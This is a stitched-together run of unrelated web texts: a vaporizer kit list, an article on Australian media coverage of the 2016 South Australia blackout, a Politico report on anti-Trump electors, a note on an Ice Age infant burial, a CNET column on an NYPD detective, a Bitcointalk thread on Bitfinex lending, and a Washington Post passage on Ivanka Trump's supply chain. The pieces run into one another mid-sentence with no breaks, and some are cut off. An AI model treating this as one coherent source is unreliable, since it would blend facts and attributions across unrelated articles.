- One Maple, Cherry or Walnut Reddit Pineapple Laser-Etched Launch Box
- (2) rechargeable NiMH batteries with protective caps
- Battery charger
- Velvet Bag
- Glass draw stem
- Cleaning brush
- Flight Guide
- Lifetime Functional Warranty (click here for details)
Handcrafted with love in San Diego, CA, USA
As of 4/20/2018 all kits include a Velvet Bag and not a Felt-Lined Tin.
International customers will receive a plug adapter suitable for use in their own country with each Launch Box Kit.This time last year, Australia was getting over a media storm about renewables, energy policy and climate change. The media storm was caused by a physical storm: a mid-latitude cyclone that hit South Australia on September 29 and set in train a series of events that is still playing itself out.
The events include:
an extraordinary attack on renewables by federal government ministers;
a steadfast pushback by the South Australian government to continue its renewables roll-out;
the offer of tech entrepreneur Elon Musk to build the largest battery storage facility in the world in South Australia and;
the Finkel Review.
In one sense, the Finkel Review was a response to the government’s concerns about “energy security”. But it also managed to successfully respond to the way energy policy had become a political plaything, as exemplified by the attacks on South Australia.
New research on the media coverage that framed the energy debate that has ensued over the past year reveals some interesting turning points in how Australia’s media report on climate change.
While extreme weather events are the best time to communicate climate change – the additional energy humans are adding to the climate is on full display – the South Australian event was used to attack renewables rather than the carbonisation of the atmosphere. Federal MPs hijacked people’s need to understand the reason for the blackout “by simply swapping climate change with renewables”.
However, the research shows that, ironically, MPs who invited us to “look over here” at the recalcitrant renewables – and not at climate-change-fuelled super-storms – managed to make climate change reappear.
The study searched for all Australian newspaper articles that mentioned either a storm or a cyclone in relation to South Australia that had been published in the ten days either side of the event. This returned 591 articles. Most of the relevant articles were published after the storm, with warnings of the cyclone beforehand.
Some of the standout findings include:
51% of articles were about the power outage and 38% were about renewables, but 12% of all articles connected these two.
20% of articles focused on the event being politicised by politicians.
9% of articles raised climate change as a force in the event and the blackouts.
10% of articles blamed the blackouts on renewables.
Of all of the articles linking power outages to renewables 46% were published in News Corp and 14% were published in Fairfax.
Narratives that typically substituted any possibility of a link to climate change, included the “unstoppable power of nature” (18%), failure of planning (5.25%), and triumph of humanity (5.6%).
Only 9% of articles discussed climate change. Of these, 73% presented climate change positively, 21% were neutral, and 6% negative. But, for the most part, climate change was linked to the conversation around renewables: there was a 74% overlap. 36% of articles discussing climate change linked it to the intensification of extreme weather events.
There was also a strong correlation between the positive and negative discussion of climate change and the ownership of newspapers.
The starkest contrast was between the two largest Australian newspaper groups. Of all the sampled articles that mentioned climate change, News Corp was the only group to has a negative stance on climate change (at 50% of articles), but still with 38% positive. Fairfax was 90% positive and 10% neutral about climate change.
Given that more than half of all articles discussed power outages, the cyclone in a sense competed with renewables as a news item. Both have a bearing on power supply and distribution. But, ironically, it was renewables that put climate change on the news agenda – not the cyclone.
Of the articles discussing renewables, 67% were positive about renewables with only 33% “negative” and blaming them for the power outages.
In this way, the negative frame that politicians put on renewable energy may have sparked debate that was used to highlight the positives of renewable energy and what’s driving it: reduced emissions.
But perhaps the most interesting finding is the backlash by news media against MPs’ attempts to politicise renewables.
19.63% of all articles in the sample had called out (mainly federal) MPs for politicising the issue and using South Australians’ misfortune as a political opportunity. This in turn was related to the fact that, of all the articles discussing renewables, 67% were positive about renewables with only 33% supporting MPs’ attempts to blame them for the power outages.
In this way, while many MPs had put renewables on the agenda by denigrating them, most journalists were eager to cover the positive side of renewables.
Nevertheless, the way MPs sought to dominate the news agenda over the storm did take away from discussion of climate science and the causes of the cyclone. Less than 4% of articles referred to extreme weather intensifying as a trend.
This is problematic. It means that, with a few exceptions, Australia’s climate scientists are not able to engage with the public in key periods after extreme weather events.
When MPs, with co-ordinated media campaigns, enjoy monopoly holdings in the attention economy of news cycles, science communication and the stories of climate that could be told are often relegated to other media.
With thanks to Tahnee Burgess for research assistance on this article.John Kasich is increasingly seen as the most acceptable Republican alternative to electors on both sides of the aisle. | Getty Rogue electors brief Clinton camp on anti-Trump plan Kasich emerges as the group's alternative Electoral College pick.
Advocates of the long-shot bid to turn the Electoral College against Donald Trump have been in contact with close allies of Hillary Clinton, according to multiple sources familiar with the discussions, but the Clinton camp — and Clinton herself — have declined to weigh in on the merits of the plan.
Clinton’s team and the Democratic National Committee have steadfastly refused to endorse the efforts spearheaded by a group of electors in Colorado and Washington state. But, as with the ongoing recounts initiated by Green Party nominee Jill Stein, the Clinton team has not categorically rejected them, leaving the collection of mainly Democratic electors to push forward with no explicit public support from the failed Democratic nominee or any other prominent party leaders.
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In a sign of the sensitivity of the issue, former Clinton campaign officials declined repeated requests to comment on the Electoral College effort. DNC officials also have not responded to requests for comment.
The Clinton camp’s silence follows its cautious approach to another long-shot effort to deny Trump the presidency: the last-minute recount efforts in Wisconsin, Pennsylvania and Michigan launched by Stein. Stein’s aggressive push has annoyed Clinton aides but has also not drawn their outward condemnation — Clinton’s top campaign lawyer, Marc Elias, said in carefully chosen language Nov. 26 that the campaign will “participate” in the recounts, without expanding on its plans to get involved.
“Regardless of the potential to change the outcome in any of the states, we feel it is important, on principle, to ensure our campaign is legally represented in any court proceedings and represented on the ground in order to monitor the recount process itself,” wrote Elias.
The electors leading the anti-Trump push say they’re operating without regard to the Clinton campaign’s views and without its assistance. To some leaders of the anti-Trump effort, the lack of formal Democratic Party engagement is an asset as they attempt to woo Republicans.
“We’re really doing this on our own,” said Polly Baca, a Democratic elector from Colorado and organizer of “Hamilton Electors,” the group encouraging Republican defections from Trump. “This is something we have to do as electors. This is our responsibility.”
But Clinton will not be able to avoid getting drawn into the Electoral College machinations. That’s because her husband — former President Bill Clinton — is a Democratic elector from New York. Aides to the former president have declined repeated requests for comment on whether he intends to fulfill the role or pass it to an alternate when New York’s Electoral College members convene in Albany on Dec. 19. Baca has indicated that she intends to reach out to all electors — including Clinton — for support.
Another leader of the Hamilton Electors group, Colorado elector Micheal Baca (no relation to Polly), said the group’s outreach efforts are wide-ranging.
“Given what’s at stake, we have been outreaching to everyone we can including electors, various members of both parties, and the media,” he said. “One of the most inspiring things about this entire process is how we have encountered such patriotism from both sides of the aisle and much willingness to unite for America.”
Backers of Hamilton Electors are also preparing a wave of lawsuits challenging 29 state laws that purport to bind electors to the results of the statewide popular vote. These laws have never been enforced or tested, and many constitutional scholars believe they conflict with the Founders’ vision of the Electoral College as a deliberative body. Courtroom victories, they hope, will embolden other electors to join their cause.
All 538 members of the Electoral College will meet on Dec. 19 in their respective state capitals to cast the formal vote for president. Trump won the popular vote in states that constitute 306 electors — easily above the 270-vote threshold he needs to become president if all Republican electors support him. That’s why anti-Trump electors are working to persuade at least 37 Republican electors to ditch Trump, the minimum they’d need to prevent his election, and join them in support of a compromise candidate, which could send the final decision to the House of Representatives. Clinton won the popular vote in states that include a total of 232 electors. As of Monday, she led in the popular vote nationwide by more than 2.6 million votes.
At least eight Democratic electors are promising to defect from Clinton and support a Republican alternative to Trump.
While Trump’s lawyers have been working to stymie the recounts, his campaign has paid little attention to the Electoral College initiative. The same is true of the Clinton camp. Clinton would need all three recounts to overturn the Election Day results to get to 270 electoral votes — an extremely unlikely scenario.
Recounts aside, there’s little incentive for the Clinton camp to become involved with the anti-Trump effort because it can result only in detracting from her electoral vote total. The only reason to engage at all would be to support an effort to deny Trump an Electoral College majority.
The Democratic electors have already revealed that they’re close to a consensus pick for whom they will vote: Ohio Gov. John Kasich.
Kasich is increasingly seen as the most acceptable Republican alternative to electors on both sides of the aisle, according to multiple electors familiar with the conversations. They note that Kasich defeated Trump in Ohio's primary, that the governor boasts a high approval rating in his state and that Kasich was reportedly under consideration to be Trump's vice president before he selected Indiana Gov. Mike Pence.
“Many Electors are saying that Gov. John Kasich would be best for our country. A consensus is beginning to form that Gov. Kasich would be best positioned to unite America,” Micheal Baca said in a statement to Politico on Sunday. Other electors involved in the effort confirmed this line of thinking.
It’s unclear whether Kasich would accept support from these electors, and a top political adviser downplayed the strategy.
“There’s no question Trump won enough votes in the states to receive over 270 votes when the members of the Electoral College meet,” said Kasich’s top political adviser, John Weaver, when asked about the prospect that some electors might vote for Kasich. “I’m sure the [Electoral College] will affirm this when it gathers later this month.”
Even if no Republicans join the recalcitrant Democrats, eight defections from Clinton would represent more “faithless electors” — members who don’t vote for their party’s designated presidential candidate — than at any time in American history. Leaders of the effort claim at least one firm commitment from a Republican elector, though none has spoken out publicly.Science
Scientists Unearth Ice Age Children’s Grave in Alaska
The delicate 11,500-year-old remains of two Ice Age infants were found in Upward Sun River, an archaeological site in central Alaska.
Researchers unearthed the skeletons beneath the cremated remains of a 3-year-old child in 2010. The remains may help to better understand the death practice rituals of the Ice Age in North America.
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A team of researchers led by Ben Potter of the University of Alaska at Fairbanks published online the detailed study at the Proceedings of the National Academy of Sciences on Monday.
The remains consist of the bones of a late-term fetus and a child that died shortly after birth. It's about 15.7 inches (40 centimeters) at the double burial.
Researchers said projectile points and antler shafts coated with ochre were interred along with the infants, probably as part of a burial ritual.
The team also asked for permission to study the remains from the local and regional native groups and state officials.
"They were treating the human remains with respect, and that's really what you need to do," said Roy Carlson, professor emeritus of archaeology at Simon Fraser University in British Columbia, Canada, who was not involved in the study.
Potter said this type of ritual for infants displayed "a new facet of Paleoindian behavior that we never really encountered before."
Researchers believe the two infants are girls. They suggest a DNA test to verify if the infant girls are twins. This would answer the question why the girls are buried together.
"One could have died in utero, and then that enhances the potential for an early death for the surviving child," Potter added.
Aside from the infants' remains, the team discovered a prehistoric hunting tool kit that includes stone-made bifaces, dart or spear points and antler foreshafts.
The study suggests prehistoric hunters may have used stone weapons and foreshafts together.
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©2019 Chinatopix All rights reserved. Do not reproduce without permissionTechnically Incorrect offers a slightly twisted take on the tech that's taken over our lives.
NBC New York screenshot by Chris Matyszczyk/CNET
When you've already made a filmic appearance and earned the disdain of many, is it wise to appear on TV to try to sway opinion?
For Detective Patrick Cherry of the New York Police Department's Joint Terrorism Task Force the answer was "yes."
Cherry is the detective caught in the act of berating an Uber driver by the driver's passenger, Sanjay Seth. Seth posted the video to YouTube, where more than 3 million people have enjoyed it.
Cherry made racially tinged statements, angrily slammed the driver's door and behaved in such a nasty manner that New York Police Commissioner William Bratton took away his badge and gun and declared: "No good cop should watch that video without a wince. Because all good cops know that officer just made their jobs a little bit harder."
The incident occurred after the Uber driver made what Seth called a mild gesture of frustration in reaction to Cherry allegedly parking in front of him without using his blinker.
However, appearing on NBC New York, Cherry insisted that the driver had reacted angrily. Which isn't perhaps the best way to present an apology. Cherry did say: "I apologize, I sincerely apologize." He added, though, that his intention in stopping the Uber driver was to "clarify the situation."
But surely as far as the Uber driver was concerned, Cherry was an ordinary citizen. He was in an unmarked car. What needed clarification? Cherry told NBC that there was mutual hand-waving between the two. Some might think that to be an ordinary day on the streets of New York. Cherry clearly did not.
He explained: "When I walked up, I was uptight. I wanted to know what the problem was. I felt his driving actions were discourteous and impolite and when he stopped he said, 'I'm not going to give you anything.'"
Still, countering alleged discourtesy with ranting, questioning how long the Uber driver has been in the US, mocking his accent and slamming the driver's car door might not be the ideal police-manual etiquette.
Cherry admitted: "People shouldn't be treated that way. I let my emotions get the better of me and I was angry. My intention was to be courteous and then we got into an argument. There was no intention to berate or hurt deeply the driver."
For his part, Seth took to Twitter to insist: "I question parts of Detective Cherry's interpretation of the incident in his recent apology. CCRB [New York's Civilian Complaint Review Board] needs to sort out the facts."
Seth later told me: "Detective Cherry was in an unmarked car and was not in uniform. Upon approaching the window, he did not identify himself."
He added: "The driver was not told what alleged violations occurred. However, he was threatened with arrest."
When I asked Seth if he thought Cherry should be fired, he answered: "The CCRB will continue their investigation into this incident and determine an appropriate response."
In the end, Cherry's TV appearance and apology come down to his demeanor. Do you believe that his contrition is sincere? Does he come across as a sympathetic figure? Or is he someone who abused his authority and got caught, so he's doing what he (and presumably some PR advisers) thinks is the correct procedure?
Update April 6 at 5:38 a.m. PT: Added comments from Sanjay Seth.myself
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LegendaryActivity: 938Merit: 1000chaos is fun... damental :) Re: [USD always needed]People are ready to pay high to trade. Take advantage of it! February 12, 2013, 11:46:01 PM #61 And there are just few USD left, the demand for USD is strong so all USD deposits are welcome. Los desesperados publican que lo inventó el rey que rabió, porque todo son en el rabias y mas rabias, disgustos y mas disgustos, pezares y mas pezares; si el que compra algunas partidas vé que baxan, rabia de haver comprado; si suben, rabia de que no compró mas; si compra, suben, vende, gana y buelan aun á mas alto precio del que ha vendido; rabia de que vendió por menor precio: si no compra ni vende y ván subiendo, rabia de que haviendo tenido impulsos de comprar, no llegó á lograr los impulsos; si van baxando, rabia de que, haviendo tenido amagos de vender, no se resolvió á gozar los amagos; si le dan algun consejo y acierta, rabia de que no se lo dieron antes; si yerra, rabia de que se lo dieron; con que todo son inquietudes, todo arrepentimientos, tododelirios, luchando siempre lo insufrible con lo feliz, lo indomito con lo tranquilo y lo rabioso con lo deleytable.
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LegendaryActivity: 1600Merit: 1012 Re: [USD always needed]People are ready to pay high to trade. Take advantage of it! February 13, 2013, 02:03:33 AM #62
As a bear (and anti-capitalist), I expect 70-90% of these speculators to have their accounts liquidated and I will get all their money (so long as we don't get scammed or hacked). Or all of their money minus the 5% admin fee that will go to bitfinex. Sorry capitalists
Even while the average variable rate is 100-150%, some crazy people are borrowing money from me at around 300%.As a bear (and anti-capitalist), I expect 70-90% of these speculators to have their accounts liquidated and I will get all their money (so long as we don't get scammed or hacked). Or all of their money minus the 5% admin fee that will go to bitfinex. Sorry capitalists Don't day trade.
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LegendaryActivity: 938Merit: 1000chaos is fun... damental :) Re: [USD always needed]People are ready to pay high to trade. Take advantage of it! February 13, 2013, 09:05:49 AM #63 I did not take into account fees) with such big price movements. @nrd525 I don't want to boss you around about how to manage your money, I just to point out the users are forecasting price movements and act based on that forecast just a example from 10/02/13 until yesterday top at 25.80 (3 days) the price went up above 12%, so that's a 4% per day on average, borrowing USD at IR under 1400% is still profitable () with such big price movements. Los desesperados publican que lo inventó el rey que rabió, porque todo son en el rabias y mas rabias, disgustos y mas disgustos, pezares y mas pezares; si el que compra algunas partidas vé que baxan, rabia de haver comprado; si suben, rabia de que no compró mas; si compra, suben, vende, gana y buelan aun á mas alto precio del que ha vendido; rabia de que vendió por menor precio: si no compra ni vende y ván subiendo, rabia de que haviendo tenido impulsos de comprar, no llegó á lograr los impulsos; si van baxando, rabia de que, haviendo tenido amagos de vender, no se resolvió á gozar los amagos; si le dan algun consejo y acierta, rabia de que no se lo dieron antes; si yerra, rabia de que se lo dieron; con que todo son inquietudes, todo arrepentimientos, tododelirios, luchando siempre lo insufrible con lo feliz, lo indomito con lo tranquilo y lo rabioso con lo deleytable.
myself
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chaos is fun... damental :)
LegendaryActivity: 938Merit: 1000chaos is fun... damental :) Re: [USD always needed]People are ready to pay high to trade. Take advantage of it! February 13, 2013, 03:25:31 PM #65 Quote from: grue on February 13, 2013, 02:50:07 PM I'll consider lending to bitfinex if they have proper registration with some government authority. Until then, it's similar to gpumax/pirate
Prejudgements you clearly have them, if you are going to make a comparison do it with similar services, nobody compare alive people with dead people use that logic.
about registration ¿did you know any institution where bureaucrats do their work fast? sadly we did have that luck and the registration process is quite slow....
Prejudgements you clearly have them, if you are going to make a comparison do it with similar services, nobody compare alive people with dead people use that logic.about registration ¿did you know any institution where bureaucrats do their work fast? sadly we did have that luck and the registration process is quite slow.... Los desesperados publican que lo inventó el rey que rabió, porque todo son en el rabias y mas rabias, disgustos y mas disgustos, pezares y mas pezares; si el que compra algunas partidas vé que baxan, rabia de haver comprado; si suben, rabia de que no compró mas; si compra, suben, vende, gana y buelan aun á mas alto precio del que ha vendido; rabia de que vendió por menor precio: si no compra ni vende y ván subiendo, rabia de que haviendo tenido impulsos de comprar, no llegó á lograr los impulsos; si van baxando, rabia de que, haviendo tenido amagos de vender, no se resolvió á gozar los amagos; si le dan algun consejo y acierta, rabia de que no se lo dieron antes; si yerra, rabia de que se lo dieron; con que todo son inquietudes, todo arrepentimientos, tododelirios, luchando siempre lo insufrible con lo feliz, lo indomito con lo tranquilo y lo rabioso con lo deleytable.
myself
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chaos is fun... damental :)
LegendaryActivity: 938Merit: 1000chaos is fun... damental :) Re: [USD always needed]People are ready to pay high to trade. Take advantage of it! February 13, 2013, 08:20:00 PM #67 Quote from: grue on February 13, 2013, 05:50:23 PM
bitfinex has been around for 3 months can you plz continue that sentence because I lost you Los desesperados publican que lo inventó el rey que rabió, porque todo son en el rabias y mas rabias, disgustos y mas disgustos, pezares y mas pezares; si el que compra algunas partidas vé que baxan, rabia de haver comprado; si suben, rabia de que no compró mas; si compra, suben, vende, gana y buelan aun á mas alto precio del que ha vendido; rabia de que vendió por menor precio: si no compra ni vende y ván subiendo, rabia de que haviendo tenido impulsos de comprar, no llegó á lograr los impulsos; si van baxando, rabia de que, haviendo tenido amagos de vender, no se resolvió á gozar los amagos; si le dan algun consejo y acierta, rabia de que no se lo dieron antes; si yerra, rabia de que se lo dieron; con que todo son inquietudes, todo arrepentimientos, tododelirios, luchando siempre lo insufrible con lo feliz, lo indomito con lo tranquilo y lo rabioso con lo deleytable.
myself
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chaos is fun... damental :)
LegendaryActivity: 938Merit: 1000chaos is fun... damental :) Re: [USD always needed]People are ready to pay high to trade. Take advantage of it! February 26, 2013, 06:04:50 PM #69
https://community.bitfinex.com/group.php?groupid=6 maybe BFX lenders are interested inj joining this group Los desesperados publican que lo inventó el rey que rabió, porque todo son en el rabias y mas rabias, disgustos y mas disgustos, pezares y mas pezares; si el que compra algunas partidas vé que baxan, rabia de haver comprado; si suben, rabia de que no compró mas; si compra, suben, vende, gana y buelan aun á mas alto precio del que ha vendido; rabia de que vendió por menor precio: si no compra ni vende y ván subiendo, rabia de que haviendo tenido impulsos de comprar, no llegó á lograr los impulsos; si van baxando, rabia de que, haviendo tenido amagos de vender, no se resolvió á gozar los amagos; si le dan algun consejo y acierta, rabia de que no se lo dieron antes; si yerra, rabia de que se lo dieron; con que todo son inquietudes, todo arrepentimientos, tododelirios, luchando siempre lo insufrible con lo feliz, lo indomito con lo tranquilo y lo rabioso con lo deleytable.
myself
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chaos is fun... damental :)
LegendaryActivity: 938Merit: 1000chaos is fun... damental :) Re: [USD always needed]People are ready to pay high to trade. Take advantage of it! March 02, 2013, 02:23:02 AM #70
85k reached and BFX needs more USD 85k reached and BFX needs more USD Los desesperados publican que lo inventó el rey que rabió, porque todo son en el rabias y mas rabias, disgustos y mas disgustos, pezares y mas pezares; si el que compra algunas partidas vé que baxan, rabia de haver comprado; si suben, rabia de que no compró mas; si compra, suben, vende, gana y buelan aun á mas alto precio del que ha vendido; rabia de que vendió por menor precio: si no compra ni vende y ván subiendo, rabia de que haviendo tenido impulsos de comprar, no llegó á lograr los impulsos; si van baxando, rabia de que, haviendo tenido amagos de vender, no se resolvió á gozar los amagos; si le dan algun consejo y acierta, rabia de que no se lo dieron antes; si yerra, rabia de que se lo dieron; con que todo son inquietudes, todo arrepentimientos, tododelirios, luchando siempre lo insufrible con lo feliz, lo indomito con lo tranquilo y lo rabioso con lo deleytable.
myself
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chaos is fun... damental :)
LegendaryActivity: 938Merit: 1000chaos is fun... damental :) Re: [USD always needed]People are ready to pay high to trade. Take advantage of it! March 04, 2013, 12:03:42 PM #71
Hello usd holders. Look at your USD
Now back to BFX
Now back at your USD
Now back to BFX
Sadly your USD are not whit BFX
But if your USD stop doing nothing on MTGOX
And switched to BFX lending market
Your USD can earn a decent interest rate
and again BFX needs more USD Los desesperados publican que lo inventó el rey que rabió, porque todo son en el rabias y mas rabias, disgustos y mas disgustos, pezares y mas pezares; si el que compra algunas partidas vé que baxan, rabia de haver comprado; si suben, rabia de que no compró mas; si compra, suben, vende, gana y buelan aun á mas alto precio del que ha vendido; rabia de que vendió por menor precio: si no compra ni vende y ván subiendo, rabia de que haviendo tenido impulsos de comprar, no llegó á lograr los impulsos; si van baxando, rabia de que, haviendo tenido amagos de vender, no se resolvió á gozar los amagos; si le dan algun consejo y acierta, rabia de que no se lo dieron antes; si yerra, rabia de que se lo dieron; con que todo son inquietudes, todo arrepentimientos, tododelirios, luchando siempre lo insufrible con lo feliz, lo indomito con lo tranquilo y lo rabioso con lo deleytable.
myself
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Merit: 1000
chaos is fun... damental :)
LegendaryActivity: 938Merit: 1000chaos is fun... damental :) Re: [USD always needed]People are ready to pay high to trade. Take advantage of it! March 04, 2013, 03:03:32 PM #72
and we are at 90k USD and ofc there is still demand of USD Los desesperados publican que lo inventó el rey que rabió, porque todo son en el rabias y mas rabias, disgustos y mas disgustos, pezares y mas pezares; si el que compra algunas partidas vé que baxan, rabia de haver comprado; si suben, rabia de que no compró mas; si compra, suben, vende, gana y buelan aun á mas alto precio del que ha vendido; rabia de que vendió por menor precio: si no compra ni vende y ván subiendo, rabia de que haviendo tenido impulsos de comprar, no llegó á lograr los impulsos; si van baxando, rabia de que, haviendo tenido amagos de vender, no se resolvió á gozar los amagos; si le dan algun consejo y acierta, rabia de que no se lo dieron antes; si yerra, rabia de que se lo dieron; con que todo son inquietudes, todo arrepentimientos, tododelirios, luchando siempre lo insufrible con lo feliz, lo indomito con lo tranquilo y lo rabioso con lo deleytable.
myself
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Activity: 938
Merit: 1000
chaos is fun... damental :)
LegendaryActivity: 938Merit: 1000chaos is fun... damental :) Re: [USD always needed]People are ready to pay high to trade. Take advantage of it! March 06, 2013, 02:25:46 PM #73
record USD loans at 105k record USD loans at 105k Los desesperados publican que lo inventó el rey que rabió, porque todo son en el rabias y mas rabias, disgustos y mas disgustos, pezares y mas pezares; si el que compra algunas partidas vé que baxan, rabia de haver comprado; si suben, rabia de que no compró mas; si compra, suben, vende, gana y buelan aun á mas alto precio del que ha vendido; rabia de que vendió por menor precio: si no compra ni vende y ván subiendo, rabia de que haviendo tenido impulsos de comprar, no llegó á lograr los impulsos; si van baxando, rabia de que, haviendo tenido amagos de vender, no se resolvió á gozar los amagos; si le dan algun consejo y acierta, rabia de que no se lo dieron antes; si yerra, rabia de que se lo dieron; con que todo son inquietudes, todo arrepentimientos, tododelirios, luchando siempre lo insufrible con lo feliz, lo indomito con lo tranquilo y lo rabioso con lo deleytable.
unclescrooge
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aka RaphyHero MemberActivity: 868Merit: 1000 Re: [USD always needed]People are ready to pay high to trade. Take advantage of it! March 06, 2013, 02:35:49 PM #74
Thanks everyone
About USD deposit, I know some of you are frustrated by the lack of wire deposit option. I had to take that down for legal safety reason but this will soon be available again, along with some others things.
Best regards,
Raphael We need BTC Lenders, we're running out of BTC to borrow.Thanks everyoneAbout USD deposit, I know some of you are frustrated by the lack of wire deposit option. I had to take that down for legal safety reason but this will soon be available again, along with some others things.Best regards,RaphaelA suburban Philadelphia man whose weekend trip to a neighborhood store somehow led to a 900-mile detour to Alabama is safely back with his family, thanks to breakfast |
facility made thousands of pounds of Ivanka Trump-brand shoes in 2013, shipping data show. (Elias Meseret/Associated Press)
A wide range of clothing lines now inspect their own supply chains to make sure labor standards are met, the companies say. Among them is Levi Strauss, which, like Trump’s brand, licenses some of its production from a large New York-based clothing distributor called G-III Apparel.
A Levi spokeswoman told The Post that the company inspects its production facilities annually and has published factory information since 2005.
Many smaller brands turn to industry-backed groups, such as the Fair Labor Association or the Sustainable Apparel Coalition, to help address factory conditions and worker treatment.
Krochet Kids, which sells dresses for less than $60, includes clothing tags hand-signed by workers at its facilities in Uganda and Peru. Reformation, whose dress Trump wore to a recent congressional picnic, screens its overseas suppliers and recently moved to an expanded factory in downtown Los Angeles, where it offers guided tours.
“The questions today aren’t whether to engage in [monitoring factories], but whether to go beyond, all the way down to the cotton fields,” said Doug Cahn, a former Reebok executive who pioneered the development of corporate codes of conduct and now consults for brands and manufacturers.
The Trump company’s relatively passive approach is notable — as is its lack of participation in industry efforts to improve conditions for workers, according to labor advocates.
“I have been doing this stuff for 20 years, and I have never seen her brand in any of these venues,” said Judy Gearhart, executive director of the International Labor Rights Forum.
Klem said that “as a small, young brand, we did not have the chance to influence the debate around social compliance issues, but that has obviously changed during this past year.”
“We recognize that our brand name carries a special responsibility,” she added.
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⬤ Continue reading ↓ Ivanka Trump’s brand does not disclose the countries where its goods are made or the factories that make them. Using clothing labels, The Post traced her products to Bangladesh, China, India, Indonesia and Vietnam. Like most other American apparel brands, her company relies on a complex global network to produce and deliver items to U.S. consumers. Customs data and shipping records show the path that some of her products took to the United States from foreign ports between January 2016 and May 2017. Four container ships carrying Ivanka Trump woven jackets made in Vietnam left from Taiwan. Ten ships brought pants, pullovers and tank tops from ports in Indonesia and Singapore. Twenty ships left Hong Kong, carrying blouses, shoes and leather handbags. And more than 200 ships came from China, carrying tons of Ivanka Trump goods. These are just some of the thousands of international shipments that have helped build Ivanka Trump’s brand.
The Ivanka brand: From glitzy jewelry to #WomenWhoWork
Ivanka Trump was a 26-year-old model and guest judge on her father’s reality show, “The Apprentice,” when she took on her first solo venture outside the family business: lending her name and creative energy to a Manhattan diamond boutique.
From the beginning, Trump said she envisioned Ivanka Trump Fine Jewelry as a glitzy refuge for the upper crust. In a 2007 Arabian Business magazine profile, headlined “Daddy’s Girl,” Ivanka Trump said the jewelry, mostly priced between $5,000 and $50,000, would be marketed to ambitious, wealthy women who “have everything, yet... nothing to prove.”
Initially, Trump’s brand put an emphasis on sustainability. In 2011, her company introduced a short-lived bridal jewelry collection made from “eco-friendly” Canadian-mined diamonds and recycled platinum. The following year, entrepreneur Russell Simmons’ Diamond Empowerment Fund, a nonprofit organization that works to help educate youth in diamond-producing countries, gave her its “Newest and Brightest” award.
“It’s just good business to care about everyone involved in the various layers of production... especially when the end product is such a beautiful symbol of love,” Trump said, according to a news release by the group.
Customers visit the Ivanka Trump store in Trump Tower on Fifth Avenue in New York in June. (Gareth Smit/For The Washington Post)
By then, she had started expanding into other products, eventually signing deals for clothes, shoes and handbags.
Shipping data show that tons of Ivanka Trump-brand shoes were rolling off factory production lines in Dongguan, the sprawling industrial city in southern China, and onto container ships with names such as APL Beijing and Hyundai Dynasty.
Trump’s clothing line — styled to sell an image of modern metropolitan glamour — quickly became the core of her business, with mid-market prices and an expanding collection of stylish pumps, off-the-shoulder tops and flower-print cocktail dresses.
In late 2012, Trump signed a deal with G-III, an established apparel group known for its work with Guess, Calvin Klein and celebrity brands such as Jessica Simpson. Trump’s collection flourished and, with it, production ramped up in G-III’s contract factories across China and Vietnam, according to shipping data.
In 2016, G-III told Forbes that the Ivanka Trump clothing line had generated $100 million in retail revenue in the past year.
Trump served as her company’s star marketer, wearing her brand’s nude heels and a $10,000 bracelet during photo shoots and TV interviews.
In last year’s presidential campaign, Trump took the opportunity to showcase her products on the national stage. After she paid tribute to her father at the Republican National Convention in one of her soft-pink sheath dresses, her social media team urged buyers to “shop Ivanka’s look,” and the $138 Chinese-made dress quickly sold out.
In the company’s Trump Tower headquarters, a staff of about 16 employees runs the Ivanka Trump design team, social media accounts and branding campaigns — including #WomenWhoWork, a movement-as-hashtag that emerged as the company’s driving motto.
Ivanka Trump is shown on a camera display during the Women20 Summit in Berlin in April. (Kay Nietfeld/Associated Press Images)
Its marketing mixes promotions for evening bags with celebrations of female power. What was once advertised as trendy clothing for women in “the boardroom and beyond” has evolved into what IvankaTrump.com calls “a solution-oriented lifestyle brand, dedicated to the mission of inspiring and empowering women to create the lives they want to lead.”
In recent months, however, efforts to market the upbeat Ivanka Trump clothing brand have run headlong into the polarizing Trump political brand.
After Nordstrom dropped her line in February, citing low sales, the president complained on Twitter that his daughter had been “treated so unfairly,” and pro-Trump supporters rushed to buy her products. Presidential counselor Kellyanne Conway drew a rebuke from federal ethics officials for telling TV viewers, from the White House press room, to “go buy Ivanka’s stuff.”
Detractors of the president, meanwhile, have posted negative reviews of Ivanka Trump items online, needling her for relying on foreign labor.
Klem said the controversies have not hurt sales. She declined to disclose figures, but said that the brand’s business is “growing rapidly.” Revenue was up 21 percent in 2016, with continuing growth in 2017, executives said.
The Post traced some of Ivanka Trump’s denim production to Bangladesh, which has one of the world’s lowest minimum wages for garment workers. (Matt McClain/The Washington Post)
‘We are the ultra-poor’
In May, Lord & Taylor stores showcased the newest items in the Ivanka Trump denim collection: a series of indigo, white and pink pants retailing for $79. Affixed to each was a label brandishing the #WomenWhoWork slogan, featuring aspirational admonishments such as “Act purposefully” and “Invest in each other.”
The labels on the jeans show they were made for G-III Apparel in Bangladesh, whose garment industry has weathered a series of deadly factory disasters, including a 2013 building collapse that killed more than 1,100 workers. In the wake of that tragedy, brands such as Walmart and Gap vowed to pay for safety training for factory managers.
Shipping records do not reveal which factories in the country produce Ivanka Trump goods, and both the brand and G-III refused to say which facilities make her products.
G-III spokesman Chris Giglio said the company’s supply chain is “routinely audited by us and by independent third parties. When issues arise, we work with our local partners to find and implement safe, fair and sustainable solutions.”
Along with facing safety risks, Bangladeshi garment workers toil for one of the world’s lowest minimum wages.
“We are the ultra-poor,” said Kalpona Akter, a Bangladeshi labor organizer and former garment worker who was first hired by a factory at the age of 12. “We are making you beautiful, but we are starving.”
Kalpona Akter, a former garment worker, is the executive director of the Bangladesh Center for Worker Solidarity, one of the country’s most prominent labor rights advocacy organizations. (Melina Mara/The Washington Post)
In December, thousands of workers seeking higher pay went on strike outside the capital city of Dhaka. In response, police rounded up and arrested several dozen labor organizers, and factory owners filed criminal complaints against hundreds of workers, according to Human Rights Watch. An estimated 1,500 garment workers were suspended or fired.
At a Dhaka apparel summit in February, U.S. Ambassador Marcia S. Bernicat described the mass firings and arrests as “a giant, disappointing step backwards on labor rights” and warned that international buyers “have to ask themselves how they will sell garments made in a country where large numbers of workers and union leaders are suddenly arrested, fired or suspended simply because they or their fellow workers asked for a wage increase.”
A number of apparel brands have called on factories to halt the worker crackdown. A spokesman for H&M told The Post that it has instructed Dhaka factory owners that the company will pull its business unless the factories reinstate the fired workers and drop the criminal complaints.
Buying Ivanka Trump: Undeterred by controversies about the use of overseas factories, a growing customer base is embracing her brand as a political statement. Read more.
Trump’s brand and G-III have not publicly addressed the crackdown. Klem said that the company’s code of conduct gives workers in its supply chain “the right to freely associate in accordance with the laws of the countries in which they are employed.”
